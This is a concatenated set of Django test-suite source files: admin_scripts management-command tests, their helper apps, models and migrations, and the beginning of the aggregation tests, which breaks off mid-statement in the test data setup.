        self.assertIn('Hello, world!', style.ERROR('Hello, world!'))
        self.assertNotEqual(style.ERROR('Hello, world!'), 'Hello, world!')

    def test_command_color(self):
        class Command(BaseCommand):
            requires_system_checks = False

            def handle(self, *args, **options):
                self.stdout.write('Hello, world!', self.style.ERROR)
                self.stderr.write('Hello, world!', self.style.ERROR)

        out = StringIO()
        err = StringIO()
        command = Command(stdout=out, stderr=err)
        call_command(command)
        if color.supports_color():
            self.assertIn('Hello, world!\n', out.getvalue())
            self.assertIn('Hello, world!\n', err.getvalue())
            self.assertNotEqual(out.getvalue(), 'Hello, world!\n')
            self.assertNotEqual(err.getvalue(), 'Hello, world!\n')
        else:
            self.assertEqual(out.getvalue(), 'Hello, world!\n')
            self.assertEqual(err.getvalue(), 'Hello, world!\n')

    def test_command_no_color(self):
        "--no-color prevent colorization of the output"
        class Command(BaseCommand):
            requires_system_checks = False

            def handle(self, *args, **options):
                self.stdout.write('Hello, world!', self.style.ERROR)
                self.stderr.write('Hello, world!', self.style.ERROR)

        out = StringIO()
        err = StringIO()
        command = Command(stdout=out, stderr=err, no_color=True)
        call_command(command)
        self.assertEqual(out.getvalue(), 'Hello, world!\n')
        self.assertEqual(err.getvalue(), 'Hello, world!\n')

        out = StringIO()
        err = StringIO()
        command = Command(stdout=out, stderr=err)
        call_command(command, no_color=True)
        self.assertEqual(out.getvalue(), 'Hello, world!\n')
        self.assertEqual(err.getvalue(), 'Hello, world!\n')

    def test_custom_stdout(self):
        class Command(BaseCommand):
            requires_system_checks = False

            def handle(self, *args, **options):
                self.stdout.write("Hello, World!")

        out = StringIO()
        command = Command(stdout=out)
        call_command(command)
        self.assertEqual(out.getvalue(), "Hello, World!\n")
        out.truncate(0)
        new_out = StringIO()
        call_command(command, stdout=new_out)
        self.assertEqual(out.getvalue(), "")
        self.assertEqual(new_out.getvalue(), "Hello, World!\n")

    def test_custom_stderr(self):
        class Command(BaseCommand):
            requires_system_checks = False

            def handle(self, *args, **options):
                self.stderr.write("Hello, World!")

        err = StringIO()
        command = Command(stderr=err)
        call_command(command)
        self.assertEqual(err.getvalue(), "Hello, World!\n")
        err.truncate(0)
        new_err = StringIO()
        call_command(command, stderr=new_err)
        self.assertEqual(err.getvalue(), "")
        self.assertEqual(new_err.getvalue(), "Hello, World!\n")

    def test_base_command(self):
        "User BaseCommands can execute when a label is provided"
        args = ['base_command', 'testlabel']
        expected_labels = "('testlabel',)"
        self._test_base_command(args, expected_labels)

    def test_base_command_no_label(self):
        "User BaseCommands can execute when no labels are provided"
        args = ['base_command']
        expected_labels = "()"
        self._test_base_command(args, expected_labels)

    def test_base_command_multiple_label(self):
        "User BaseCommands can execute when no labels are provided"
        args = ['base_command', 'testlabel', 'anotherlabel']
        expected_labels = "('testlabel', 'anotherlabel')"
        self._test_base_command(args, expected_labels)

    def test_base_command_with_option(self):
        "User BaseCommands can execute with options when a label is provided"
        args = ['base_command', 'testlabel', '--option_a=x']
        expected_labels = "('testlabel',)"
        self._test_base_command(args, expected_labels, option_a="'x'")

    def test_base_command_with_options(self):
        "User BaseCommands can execute with multiple options when a label is provided"
        args = ['base_command', 'testlabel', '-a', 'x', '--option_b=y']
        expected_labels = "('testlabel',)"
        self._test_base_command(args, expected_labels, option_a="'x'", option_b="'y'")

    def test_base_command_with_wrong_option(self):
        "User BaseCommands outputs command usage when wrong option is specified"
        args = ['base_command', '--invalid']
        out, err = self.run_manage(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "usage: manage.py base_command")
        self.assertOutput(err, "error: unrecognized arguments: --invalid")

    def _test_base_command(self, args, labels, option_a="'1'", option_b="'2'"):
        out, err = self.run_manage(args)

        expected_out = (
            "EXECUTE:BaseCommand labels=%s, "
            "options=[('no_color', False), ('option_a', %s), ('option_b', %s), "
            "('option_c', '3'), ('pythonpath', None), ('settings', None), "
            "('traceback', False), ('verbosity', 1)]") % (labels, option_a, option_b)
        self.assertNoOutput(err)
        self.assertOutput(out, expected_out)

    def test_base_run_from_argv(self):
        """
        Test run_from_argv properly terminates even with custom execute() (#19665)
        Also test proper traceback display.
        """
        err = StringIO()
        command = BaseCommand(stderr=err)

        def raise_command_error(*args, **kwargs):
            raise CommandError("Custom error")

        command.execute = lambda args: args  # This will trigger TypeError

        # If the Exception is not CommandError it should always
        # raise the original exception.
        with self.assertRaises(TypeError):
            command.run_from_argv(['', ''])

        # If the Exception is CommandError and --traceback is not present
        # this command should raise a SystemExit and don't print any
        # traceback to the stderr.
        command.execute = raise_command_error
        err.truncate(0)
        with self.assertRaises(SystemExit):
            command.run_from_argv(['', ''])
        err_message = err.getvalue()
        self.assertNotIn("Traceback", err_message)
        self.assertIn("CommandError", err_message)

        # If the Exception is CommandError and --traceback is present
        # this command should raise the original CommandError as if it
        # were not a CommandError.
        err.truncate(0)
        with self.assertRaises(CommandError):
            command.run_from_argv(['', '', '--traceback'])

    def test_run_from_argv_non_ascii_error(self):
        """
        Test that non-ASCII message of CommandError does not raise any
        UnicodeDecodeError in run_from_argv.
        """
        def raise_command_error(*args, **kwargs):
            raise CommandError("Erreur personnalisée")

        command = BaseCommand(stderr=StringIO())
        command.execute = raise_command_error

        with self.assertRaises(SystemExit):
            command.run_from_argv(['', ''])

    def test_run_from_argv_closes_connections(self):
        """
        A command called from the command line should close connections after
        being executed (#21255).
        """
        command = BaseCommand(stderr=StringIO())
        command.check = lambda: []
        command.handle = lambda *args, **kwargs: args
        with mock.patch('django.core.management.base.connections') as mock_connections:
            command.run_from_argv(['', ''])
        # Test connections have been closed
        self.assertTrue(mock_connections.close_all.called)

    def test_noargs(self):
        "NoArg Commands can be executed"
        args = ['noargs_command']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(
            out,
            "EXECUTE: noargs_command options=[('no_color', False), "
            "('pythonpath', None), ('settings', None), ('traceback', False), "
            "('verbosity', 1)]"
        )

    def test_noargs_with_args(self):
        "NoArg Commands raise an error if an argument is provided"
        args = ['noargs_command', 'argument']
        out, err = self.run_manage(args)
        self.assertOutput(err, "error: unrecognized arguments: argument")

    def test_app_command(self):
        "User AppCommands can execute when a single app name is provided"
        args = ['app_command', 'auth']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE:AppCommand name=django.contrib.auth, options=")
        self.assertOutput(
            out,
            ", options=[('no_color', False), ('pythonpath', None), "
            "('settings', None), ('traceback', False), ('verbosity', 1)]"
        )

    def test_app_command_no_apps(self):
        "User AppCommands raise an error when no app name is provided"
        args = ['app_command']
        out, err = self.run_manage(args)
        self.assertOutput(err, 'error: Enter at least one application label.')

    def test_app_command_multiple_apps(self):
        "User AppCommands raise an error when multiple app names are provided"
        args = ['app_command', 'auth', 'contenttypes']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE:AppCommand name=django.contrib.auth, options=")
        self.assertOutput(
            out,
            ", options=[('no_color', False), ('pythonpath', None), "
            "('settings', None), ('traceback', False), ('verbosity', 1)]"
        )
        self.assertOutput(out, "EXECUTE:AppCommand name=django.contrib.contenttypes, options=")
        self.assertOutput(
            out,
            ", options=[('no_color', False), ('pythonpath', None), "
            "('settings', None), ('traceback', False), ('verbosity', 1)]"
        )

    def test_app_command_invalid_app_label(self):
        "User AppCommands can execute when a single app name is provided"
        args = ['app_command', 'NOT_AN_APP']
        out, err = self.run_manage(args)
        self.assertOutput(err, "No installed app with label 'NOT_AN_APP'.")

    def test_app_command_some_invalid_app_labels(self):
        "User AppCommands can execute when some of the provided app names are invalid"
        args = ['app_command', 'auth', 'NOT_AN_APP']
        out, err = self.run_manage(args)
        self.assertOutput(err, "No installed app with label 'NOT_AN_APP'.")

    def test_label_command(self):
        "User LabelCommands can execute when a label is provided"
        args = ['label_command', 'testlabel']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(
            out,
            "EXECUTE:LabelCommand label=testlabel, options=[('no_color', False), "
            "('pythonpath', None), ('settings', None), ('traceback', False), ('verbosity', 1)]"
        )

    def test_label_command_no_label(self):
        "User LabelCommands raise an error if no label is provided"
        args = ['label_command']
        out, err = self.run_manage(args)
        self.assertOutput(err, 'Enter at least one label')

    def test_label_command_multiple_label(self):
        "User LabelCommands are executed multiple times if multiple labels are provided"
        args = ['label_command', 'testlabel', 'anotherlabel']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(
            out,
            "EXECUTE:LabelCommand label=testlabel, options=[('no_color', False), "
            "('pythonpath', None), ('settings', None), ('traceback', False), ('verbosity', 1)]"
        )
        self.assertOutput(
            out,
            "EXECUTE:LabelCommand label=anotherlabel, options=[('no_color', False), "
            "('pythonpath', None), ('settings', None), ('traceback', False), ('verbosity', 1)]"
        )


class Discovery(SimpleTestCase):

    def test_precedence(self):
        """
        Apps listed first in INSTALLED_APPS have precedence.
        """
        with self.settings(INSTALLED_APPS=['admin_scripts.complex_app',
                                           'admin_scripts.simple_app',
                                           'django.contrib.auth',
                                           'django.contrib.contenttypes']):
            out = StringIO()
            call_command('duplicate', stdout=out)
            self.assertEqual(out.getvalue().strip(), 'complex_app')
        with self.settings(INSTALLED_APPS=['admin_scripts.simple_app',
                                           'admin_scripts.complex_app',
                                           'django.contrib.auth',
                                           'django.contrib.contenttypes']):
            out = StringIO()
            call_command('duplicate', stdout=out)
            self.assertEqual(out.getvalue().strip(), 'simple_app')


class ArgumentOrder(AdminScriptTestCase):
    """Tests for 2-stage argument parsing scheme.

    django-admin command arguments are parsed in 2 parts; the core arguments
    (--settings, --traceback and --pythonpath) are parsed using a basic parser,
    ignoring any unknown options. Then the full settings are
    passed to the command parser, which extracts commands of interest to the
    individual command.
    """
    def setUp(self):
        self.write_settings('settings.py', apps=['django.contrib.auth', 'django.contrib.contenttypes'])
        self.write_settings('alternate_settings.py')

    def tearDown(self):
        self.remove_settings('settings.py')
        self.remove_settings('alternate_settings.py')

    def test_setting_then_option(self):
        """ Options passed after settings are correctly handled. """
        args = ['base_command', 'testlabel', '--settings=alternate_settings', '--option_a=x']
        self._test(args)

    def test_setting_then_short_option(self):
        """ Short options passed after settings are correctly handled. """
        args = ['base_command', 'testlabel', '--settings=alternate_settings', '-a', 'x']
        self._test(args)

    def test_option_then_setting(self):
        """ Options passed before settings are correctly handled. """
        args = ['base_command', 'testlabel', '--option_a=x', '--settings=alternate_settings']
        self._test(args)

    def test_short_option_then_setting(self):
        """ Short options passed before settings are correctly handled. """
        args = ['base_command', 'testlabel', '-a', 'x', '--settings=alternate_settings']
        self._test(args)

    def test_option_then_setting_then_option(self):
        """ Options are correctly handled when they are passed before and after
        a setting. """
        args = ['base_command', 'testlabel', '--option_a=x', '--settings=alternate_settings', '--option_b=y']
        self._test(args, option_b="'y'")

    def _test(self, args, option_b="'2'"):
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(
            out,
            "EXECUTE:BaseCommand labels=('testlabel',), options=[('no_color', False), "
            "('option_a', 'x'), ('option_b', %s), ('option_c', '3'), "
            "('pythonpath', None), ('settings', 'alternate_settings'), "
            "('traceback', False), ('verbosity', 1)]" % option_b
        )


@override_settings(ROOT_URLCONF='admin_scripts.urls')
class StartProject(LiveServerTestCase, AdminScriptTestCase):

    available_apps = [
        'admin_scripts',
        'django.contrib.auth',
        'django.contrib.contenttypes',
        'django.contrib.sessions',
    ]

    def test_wrong_args(self):
        "Make sure passing the wrong kinds of arguments outputs an error and prints usage"
        out, err = self.run_django_admin(['startproject'])
        self.assertNoOutput(out)
        self.assertOutput(err, "usage:")
        self.assertOutput(err, "You must provide a project name.")

    def test_simple_project(self):
        "Make sure the startproject management command creates a project"
        args = ['startproject', 'testproject']
        testproject_dir = os.path.join(self.test_dir, 'testproject')
        self.addCleanup(shutil.rmtree, testproject_dir, True)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.isdir(testproject_dir))

        # running again..
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "already exists")

    def test_invalid_project_name(self):
        "Make sure the startproject management command validates a project name"
        for bad_name in ('7testproject', '../testproject'):
            args = ['startproject', bad_name]
            testproject_dir = os.path.join(self.test_dir, bad_name)
            self.addCleanup(shutil.rmtree, testproject_dir, True)

            out, err = self.run_django_admin(args)
            if PY2:
                self.assertOutput(
                    err,
                    "Error: '%s' is not a valid project name. Please make "
                    "sure the name begins with a letter or underscore." % bad_name
                )
            else:
                self.assertOutput(
                    err,
                    "Error: '%s' is not a valid project name. Please make "
                    "sure the name is a valid identifier." % bad_name
                )
            self.assertFalse(os.path.exists(testproject_dir))

    def test_simple_project_different_directory(self):
        "Make sure the startproject management command creates a project in a specific directory"
        args = ['startproject', 'testproject', 'othertestproject']
        testproject_dir = os.path.join(self.test_dir, 'othertestproject')
        os.mkdir(testproject_dir)
        self.addCleanup(shutil.rmtree, testproject_dir)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.exists(os.path.join(testproject_dir, 'manage.py')))

        # running again..
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "already exists")

    def test_custom_project_template(self):
        "Make sure the startproject management command is able to use a different project template"
        template_path = os.path.join(custom_templates_dir, 'project_template')
        args = ['startproject', '--template', template_path, 'customtestproject']
        testproject_dir = os.path.join(self.test_dir, 'customtestproject')
        self.addCleanup(shutil.rmtree, testproject_dir, True)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.isdir(testproject_dir))
        self.assertTrue(os.path.exists(os.path.join(testproject_dir, 'additional_dir')))

    def test_template_dir_with_trailing_slash(self):
        "Ticket 17475: Template dir passed has a trailing path separator"
        template_path = os.path.join(custom_templates_dir, 'project_template' + os.sep)
        args = ['startproject', '--template', template_path, 'customtestproject']
        testproject_dir = os.path.join(self.test_dir, 'customtestproject')
        self.addCleanup(shutil.rmtree, testproject_dir, True)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.isdir(testproject_dir))
        self.assertTrue(os.path.exists(os.path.join(testproject_dir, 'additional_dir')))

    def test_custom_project_template_from_tarball_by_path(self):
        "Make sure the startproject management command is able to use a different project template from a tarball"
        template_path = os.path.join(custom_templates_dir, 'project_template.tgz')
        args = ['startproject', '--template', template_path, 'tarballtestproject']
        testproject_dir = os.path.join(self.test_dir, 'tarballtestproject')
        self.addCleanup(shutil.rmtree, testproject_dir, True)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.isdir(testproject_dir))
        self.assertTrue(os.path.exists(os.path.join(testproject_dir, 'run.py')))

    def test_custom_project_template_from_tarball_to_alternative_location(self):
        "Startproject can use a project template from a tarball and create it in a specified location"
        template_path = os.path.join(custom_templates_dir, 'project_template.tgz')
        args = ['startproject', '--template', template_path, 'tarballtestproject', 'altlocation']
        testproject_dir = os.path.join(self.test_dir, 'altlocation')
        os.mkdir(testproject_dir)
        self.addCleanup(shutil.rmtree, testproject_dir)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.isdir(testproject_dir))
        self.assertTrue(os.path.exists(os.path.join(testproject_dir, 'run.py')))

    def test_custom_project_template_from_tarball_by_url(self):
        """
        The startproject management command is able to use a different project
        template from a tarball via a URL.
        """
        template_url = '%s/custom_templates/project_template.tgz' % self.live_server_url

        args = ['startproject', '--template', template_url, 'urltestproject']
        testproject_dir = os.path.join(self.test_dir, 'urltestproject')
        self.addCleanup(shutil.rmtree, testproject_dir, True)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.isdir(testproject_dir))
        self.assertTrue(os.path.exists(os.path.join(testproject_dir, 'run.py')))

    def test_project_template_tarball_url(self):
        "Startproject management command handles project template tar/zip balls from non-canonical urls"
        template_url = '%s/custom_templates/project_template.tgz/' % self.live_server_url

        args = ['startproject', '--template', template_url, 'urltestproject']
        testproject_dir = os.path.join(self.test_dir, 'urltestproject')
        self.addCleanup(shutil.rmtree, testproject_dir, True)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.isdir(testproject_dir))
        self.assertTrue(os.path.exists(os.path.join(testproject_dir, 'run.py')))

    def test_file_without_extension(self):
        "Make sure the startproject management command is able to render custom files"
        template_path = os.path.join(custom_templates_dir, 'project_template')
        args = ['startproject', '--template', template_path, 'customtestproject', '-e', 'txt', '-n', 'Procfile']
        testproject_dir = os.path.join(self.test_dir, 'customtestproject')
        self.addCleanup(shutil.rmtree, testproject_dir, True)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.isdir(testproject_dir))
        self.assertTrue(os.path.exists(os.path.join(testproject_dir, 'additional_dir')))
        base_path = os.path.join(testproject_dir, 'additional_dir')
        for f in ('Procfile', 'additional_file.py', 'requirements.txt'):
            self.assertTrue(os.path.exists(os.path.join(base_path, f)))
            with open(os.path.join(base_path, f)) as fh:
                self.assertEqual(fh.read().strip(), '# some file for customtestproject test project')

    def test_custom_project_template_context_variables(self):
        "Make sure template context variables are rendered with proper values"
        template_path = os.path.join(custom_templates_dir, 'project_template')
        args = ['startproject', '--template', template_path, 'another_project', 'project_dir']
        testproject_dir = os.path.join(self.test_dir, 'project_dir')
        os.mkdir(testproject_dir)
        self.addCleanup(shutil.rmtree, testproject_dir)
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        test_manage_py = os.path.join(testproject_dir, 'manage.py')
        with open(test_manage_py, 'r') as fp:
            content = force_text(fp.read())
            self.assertIn("project_name = 'another_project'", content)
            self.assertIn("project_directory = '%s'" % testproject_dir, content)

    def test_no_escaping_of_project_variables(self):
        "Make sure template context variables are not html escaped"
        # We're using a custom command so we need the alternate settings
        self.write_settings('alternate_settings.py')
        self.addCleanup(self.remove_settings, 'alternate_settings.py')
        template_path = os.path.join(custom_templates_dir, 'project_template')
        args = [
            'custom_startproject', '--template', template_path,
            'another_project', 'project_dir', '--extra', '<&>',
            '--settings=alternate_settings',
        ]
        testproject_dir = os.path.join(self.test_dir, 'project_dir')
        os.mkdir(testproject_dir)
        self.addCleanup(shutil.rmtree, testproject_dir)
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        test_manage_py = os.path.join(testproject_dir, 'additional_dir', 'extra.py')
        with open(test_manage_py, 'r') as fp:
            content = fp.read()
            self.assertIn("<&>", content)

    def test_custom_project_destination_missing(self):
        """
        Make sure an exception is raised when the provided
        destination directory doesn't exist
        """
        template_path = os.path.join(custom_templates_dir, 'project_template')
        args = ['startproject', '--template', template_path, 'yet_another_project', 'project_dir2']
        testproject_dir = os.path.join(self.test_dir, 'project_dir2')
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "Destination directory '%s' does not exist, please create it first." % testproject_dir)
        self.assertFalse(os.path.exists(testproject_dir))

    def test_custom_project_template_with_non_ascii_templates(self):
        """
        The startproject management command is able to render templates with
        non-ASCII content.
        """
        template_path = os.path.join(custom_templates_dir, 'project_template')
        args = ['startproject', '--template', template_path, '--extension=txt', 'customtestproject']
        testproject_dir = os.path.join(self.test_dir, 'customtestproject')
        self.addCleanup(shutil.rmtree, testproject_dir, True)

        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertTrue(os.path.isdir(testproject_dir))
        path = os.path.join(testproject_dir, 'ticket-18091-non-ascii-template.txt')
        with codecs.open(path, 'r', encoding='utf-8') as f:
            self.assertEqual(f.read().splitlines(False), [
                'Some non-ASCII text for testing ticket #18091:',
                'üäö €'])


class DiffSettings(AdminScriptTestCase):
    """Tests for diffsettings management command."""

    def test_basic(self):
        """Runs without error and emits settings diff."""
        self.write_settings('settings_to_diff.py', sdict={'FOO': '"bar"'})
        self.addCleanup(self.remove_settings, 'settings_to_diff.py')
        args = ['diffsettings', '--settings=settings_to_diff']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "FOO = 'bar'  ###")

    def test_all(self):
        """The all option also shows settings with the default value."""
        self.write_settings('settings_to_diff.py', sdict={'STATIC_URL': 'None'})
        self.addCleanup(self.remove_settings, 'settings_to_diff.py')
        args = ['diffsettings', '--settings=settings_to_diff', '--all']
        out, err = self.run_manage(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "### STATIC_URL = None")


class Dumpdata(AdminScriptTestCase):
    """Tests for dumpdata management command."""

    def setUp(self):
        self.write_settings('settings.py')

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_pks_parsing(self):
        """Regression for #20509

        Test would raise an exception rather than printing an error message.
        """
        args = ['dumpdata', '--pks=1']
        out, err = self.run_manage(args)
        self.assertOutput(err, "You can only use --pks option with one model")
        self.assertNoOutput(out)


class MainModule(AdminScriptTestCase):
    """python -m django works like django-admin."""

    def test_runs_django_admin(self):
        cmd_out, _ = self.run_django_admin(['--version'])
        mod_out, _ = self.run_test('-m', ['django', '--version'])
        self.assertEqual(mod_out, cmd_out)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.core import checks
from django.db import models


class ModelRaisingMessages(models.Model):
    @classmethod
    def check(self, **kwargs):
        return [
            checks.Warning('First warning', hint='Hint', obj='obj'),
            checks.Warning('Second warning', obj='a'),
            checks.Error('An error', hint='Error hint'),
        ]












from __future__ import unicode_literals

from django.db import models


class Foo(models.Model):
    name = models.CharField(max_length=255)

    class Meta:
        app_label = 'another_app_waiting_migration'












from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    initial = True

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='Foo',
            fields=[
                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
                ('name', models.CharField(max_length=255)),
            ],
        ),
    ]












from django.contrib.auth.models import User
from django.db import models


# Regression for #13368. This is an example of a model
# that imports a class that has an abstract base class.
class UserProfile(models.Model):
    user = models.OneToOneField(User, models.CASCADE, primary_key=True)


















from django.core.management.commands.startproject import Command as BaseCommand


class Command(BaseCommand):
    def add_arguments(self, parser):
        super(Command, self).add_arguments(parser)
        parser.add_argument('--extra', help='An arbitrary extra value passed to the context')






from django.core.management.base import AppCommand


class Command(AppCommand):
    help = 'Test Application-based commands'
    requires_system_checks = False

    def handle_app_config(self, app_config, **options):
        print('EXECUTE:AppCommand name=%s, options=%s' % (app_config.name, sorted(options.items())))






from django.core.management.base import LabelCommand


class Command(LabelCommand):
    help = "Test Label-based commands"
    requires_system_checks = False

    def handle_label(self, label, **options):
        print('EXECUTE:LabelCommand label=%s, options=%s' % (label, sorted(options.items())))






from django.core.management.base import BaseCommand


class Command(BaseCommand):
    help = 'Test basic commands'
    requires_system_checks = False

    def add_arguments(self, parser):
        parser.add_argument('args', nargs='*')
        parser.add_argument('--option_a', '-a', default='1')
        parser.add_argument('--option_b', '-b', default='2')
        parser.add_argument('--option_c', '-c', default='3')

    def handle(self, *labels, **options):
        print('EXECUTE:BaseCommand labels=%s, options=%s' % (labels, sorted(options.items())))












from django.core.management.base import BaseCommand


class Command(BaseCommand):
    help = "Test No-args commands"
    requires_system_checks = False

    def handle(self, **options):
        print('EXECUTE: noargs_command options=%s' % sorted(options.items()))






from ..complex_app.models.bar import Bar

__all__ = ['Bar']


















from django.core.management.base import BaseCommand


class Command(BaseCommand):

    def handle(self, **options):
        self.stdout.write('simple_app')












from django.db import modelz  # NOQA












from __future__ import unicode_literals

from django.db import models


class Bar(models.Model):
    name = models.CharField(max_length=255)

    class Meta:
        app_label = 'app_waiting_migration'












from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    initial = True

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='Bar',
            fields=[
                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
                ('name', models.CharField(max_length=255)),
            ],
        ),
    ]












# some file for {{ project_name }} test project






# this file uses the {{ extra }} variable






# Regression for #22699.
# Generated at {% now "DATE_FORMAT" %}






# Django settings for {{ project_name }} test project.


















# your API code


















from django.contrib import admin

from ..models.foo import Foo

admin.site.register(Foo)












from django.core.management.base import BaseCommand


class Command(BaseCommand):

    def handle(self, **options):
        self.stdout.write('complex_app')












from django.db import models


class Bar(models.Model):
    name = models.CharField(max_length=5)

    class Meta:
        app_label = 'complex_app'






from .bar import Bar
from .foo import Foo

__all__ = ['Foo', 'Bar']






from django.db import models


class Foo(models.Model):
    name = models.CharField(max_length=5)

    class Meta:
        app_label = 'complex_app'






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.core import checks
from django.db import models


class ModelRaisingMessages(models.Model):
    @classmethod
    def check(self, **kwargs):
        return [checks.Warning('A warning')]












# -*- coding: utf-8 -*-
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=100)
    age = models.IntegerField()
    friends = models.ManyToManyField('self', blank=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Publisher(models.Model):
    name = models.CharField(max_length=255)
    num_awards = models.IntegerField()
    duration = models.DurationField(blank=True, null=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Book(models.Model):
    isbn = models.CharField(max_length=9)
    name = models.CharField(max_length=255)
    pages = models.IntegerField()
    rating = models.FloatField()
    price = models.DecimalField(decimal_places=2, max_digits=6)
    authors = models.ManyToManyField(Author)
    contact = models.ForeignKey(Author, models.CASCADE, related_name='book_contact_set')
    publisher = models.ForeignKey(Publisher, models.CASCADE)
    pubdate = models.DateField()

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Store(models.Model):
    name = models.CharField(max_length=255)
    books = models.ManyToManyField(Book)
    original_opening = models.DateTimeField()
    friday_night_closing = models.TimeField()

    def __str__(self):
        return self.name












from __future__ import unicode_literals

import datetime
import re
from decimal import Decimal

from django.core.exceptions import FieldError
from django.db import connection
from django.db.models import (
    Avg, Count, DecimalField, DurationField, F, FloatField, Func, IntegerField,
    Max, Min, Sum, Value,
)
from django.test import TestCase
from django.test.utils import Approximate, CaptureQueriesContext
from django.utils import timezone

from .models import Author, Book, Publisher, Store


class AggregateTestCase(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.a1 = Author.objects.create(name='Adrian Holovaty', age=34)
        cls.a2 = Author.objects.create(name='Jacob Kaplan-Moss', age=35)
        cls.a3 = Author.objects.create(name='Brad Dayley', age=45)
        cls.a4 = Author.objects.create(name='James Bennett', age=29)
        cls.a5 = Author.objects.create(name='Jeffrey Forcier', age=37)
        cls.a6 = Author.objects.create(name='Paul Bissex', age=29)
        cls.a7 = Author.objects.create(name='Wesley J. Chun', age=25)
        cls.a8 = Author.objects.create(name='Peter Norvig', age=57)
        cls.a9 = Author.objects.create(name='Stuart Russell', age=46)
        cls.a1.friends.add(cls.a2, cls.a4)
        cls.a2.friends.add(cls.a1, cls.a7)
        cls.a4.friends.add(cls.a1)
        cls.a5.friends.add(cls.a6, cls.a7)
        cls.a6.friends.add(cls.a5, cls.a7)
        cls.a7.friends.add(cls.a2, cls.a5, cls.a6)
        cls.a8.friends.add(cls.a9)
        cls.a9.friends.add(cls.a8)

        cls.p1 = Publisher.objects.create(name='Apress', num_awards=3, duration=datetime.timedelta(days=1))
        cls.p2 = Publisher.objects.create(name='Sams', num_awards=1, duration=datetime.timedelta(days=2))
        cls.p3 = Publisher.objects.create(name='Prentice Hall', num_awards=7)
        cls.p4 = Publisher.objects.create(name='Morgan Kaufmann', num_awards=9)
        cls.p5 = Publisher.objects.create(name="Jonno's House of Books", num_awards=0)

        cls.b1 = Book.objects.create(
            isbn='159059725', name='The Definitive Guide to Django: Web Development Done Right',
            pages=447, rating=4.5, price=Decimal('30.00'), contact=cls.a1, publisher=cls.p1,
            pubdate=datetime.date(2007, 12, 6)
        )
        cls.b2 = Book.objects.create(
            isbn='067232959', name='Sams Teach Yourself Django in 24 Hours',
            pages=528, rating=3.0, price=Decimal('23.09'), contact=cls.a3, publisher=cls.p2,
            pubdate=datetime.date(2008, 3, 3)
        )
        cls.b3 = Book.objects.create(
            isbn='159059996', name='Practical Django Projects',
            pages=300, rating=4.0, price=Decimal('29.69'), contact=cls.a4, publisher=cls.p1,
            pubdate=datetime.date(2008, 6, 23)
        )
        cls.b4 = Book.objects.create(
            isbn='013235613', name='Python Web Development with Django',
            pages=350, rating=4.0, price=Decimal('29.69'), contact=cls.a5, publisher=cls.p3,
            pubdate=datetime.date(2008, 11, 3)
        )
        cls.b5 = Book.objects.create(
            isbn='013790395', name='Artificial Intelligence: A Modern Approach',
            pages=1132, rating=4.0, price=Decimal('82.80'), contact=cls.a8, publisher=cls.p3,
            pubdate=datetime.date(1995, 1, 15)
        )
        cls.b6 = Book.objects.create(
            isbn='155860191', name='Paradigms of Artificial Intelligence Programming: Case Studies in Common Lisp',
            pages=946, rating=5.0, price=Decimal('75.00'), contact=cls.a8, publisher=cls.p4,
            pubdate=datetime.date(1991, 10, 15)
        )
        cls.b1.authors.add(cls.a1, cls.a2)
        cls.b2.authors.add(cls.a3)
        cls.b3.authors.add(cls.a4)
        cls.b4.authors.add(cls.a5, cls.a6, cls.a7)
        cls.b5.authors.add(cls.a8, cls.a9)
        cls.b6.authors.add(cls.a8)

        s1 = Store.objects.create(
            name='Amazon.com',
            original_opening=datetime.datetime(1994, 4, 23, 9, 17, 42),
            friday_night_closing=datetime.time(23, 59, 59)
        )
        s2 = Store.objects.create(
            name='Books.com',
            original_opening=datetime.datetime(2001, 3, 15, 11, 23, 37),
            friday_night_closing=datetime.time(23, 59, 59)
        )
        s3 = Store.objects.create(
            name="Mamma and Pappa's Books",
            original_opening=datetime.datetime(1945, 4, 25, 16, 24, 14),
            friday_night_closing=datetime.time(21, 30)
